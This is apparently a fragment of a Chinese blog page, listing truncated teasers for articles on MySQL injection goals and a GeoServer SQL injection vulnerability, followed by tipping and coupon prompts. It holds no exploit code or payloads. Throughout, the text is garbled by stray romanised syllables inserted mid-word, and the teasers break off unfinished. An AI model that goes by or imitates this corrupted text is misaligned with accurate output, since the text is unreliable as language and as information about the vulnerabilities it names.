    mysql注入目的:獲取當(dāng)前web權(quán)限 MYSQL--Web組成架構(gòu) 服務(wù)器搭建web服務(wù)可能存在多個(gè)站點(diǎn)搭建在一臺(tái)服務(wù)器中,數(shù)據(jù)集中存儲(chǔ)在數(shù)據(jù)庫(kù)中,因此對(duì)數(shù)據(jù)庫(kù)的管理也可以分為兩種架構(gòu): 統(tǒng)一用戶(hù)管理數(shù)據(jù)庫(kù),即對(duì)所有站點(diǎn)數(shù)據(jù)庫(kù)的管理均為Root權(quán)限用戶(hù)管理 一對(duì)一用戶(hù)管理數(shù)據(jù)庫(kù)

    2024年02月11日
    瀏覽(28)
  • GeoServer 存在 sql 注入漏洞

    GeoServer 存在 sql 注入漏洞

    GeoServer 是一個(gè)允許用戶(hù)共享和編輯地理空間數(shù)據(jù)的開(kāi)源軟件服務(wù)器,支持 OGC Filter expression 和 OGC Common Query Language 語(yǔ)言,使用 PostGIS Datastore 作為數(shù)據(jù)庫(kù)。PostGIS是PostgreSQL數(shù)據(jù)庫(kù)的擴(kuò)展程序,增加了數(shù)據(jù)庫(kù)對(duì)地理對(duì)象的支持。 GeoServer 的受影響版本的 PropertyIsLike、FeatureId、DWit

    2024年02月09日
    瀏覽(24)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包